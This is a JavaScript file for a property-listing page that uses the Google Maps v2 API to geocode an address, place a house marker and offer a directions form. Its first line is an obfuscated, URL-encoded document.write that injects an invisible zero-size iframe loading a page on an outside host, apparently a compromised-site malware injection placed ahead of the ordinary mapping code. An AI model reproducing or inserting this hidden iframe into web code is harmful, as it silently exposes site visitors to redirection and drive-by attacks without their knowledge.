﻿document.write(unescape("%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%63%73%2e%76%69%74%61%6d%69%6e%73%6c%69%76%65%2e%63%6f%6d%2f%67%6f%74%6f%2e%70%68%70%27%20%77%69%64%74%68%3d%30%20%68%65%69%67%68%74%3d%30%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e"));
    var map;
    var property_address;
    var infoHtml;
        
    window.onload = function ()
    {
        if  (property_address && GBrowserIsCompatible() )
        {
            map = new GMap2(document.getElementById("map_canvas"));
            map.addControl(new GLargeMapControl());
	    	map.addControl(new GMapTypeControl());
	           
            MapAddress();            
        }
        else
            HideCanvas();
    };
    
    window.onunload= function(){
        GUnload();
    }
    
    function MapAddress()
    {
        if (!map)    
        {
           HideCanvas();                    
           return;         
        }
            
        var geocoder = new GClientGeocoder();
        geocoder.getLatLng(property_address, ShowDirectiom);        
        
    };
    
    function ShowDirectiom(point)
    {
        if (!point) 
        {        
            HideCanvas();            
        } 
        else 
        {        
            map.setCenter(point, 15);                    
            var marker = GetCustomMarker(point);        
            map.addOverlay(marker );                    
        }    
    };
    
    function HideCanvas()
    {
        var mapWrapper = document.getElementById("map_wrapper");
        //mapWrapper.style.height="0";
        mapWrapper.style.display = 'none';
    }
    
    function GetCustomMarker(point) 
    {
		var icon = new GIcon();
					icon.image = "Images/house.gif";  
					icon.iconSize = new GSize(20, 20);
					icon.shadowSize = new GSize(60, 51);
					icon.iconAnchor = new GPoint(0, 0);    
					icon.infoWindowAnchor = new GPoint(12, 3);
		
		var marker = new GMarker(point, icon);
		
		GEvent.addListener(marker, "click", function() {
			marker.openInfoWindowHtml('<div id="map" class="map">' + infoHtml + '<form action="http://maps.google.com/maps" method="get"><label for="saddr"><span>Your Address: &nbsp;&quot;258 Radford Dr, Hampton, VA 23666&quot;</span></label><br><input type="text" SIZE=40 MAXLENGTH=40 name="saddr" id="saddr" value="" /><br><INPUT ID="SUBMIT" TYPE="SUBMIT" VALUE="Get directions to here."><input type="hidden" name="daddr" value="'+ property_address + '" /><input type="hidden" name="hl" value="en" /></form></div>');
		});

		return marker;
    }    
    
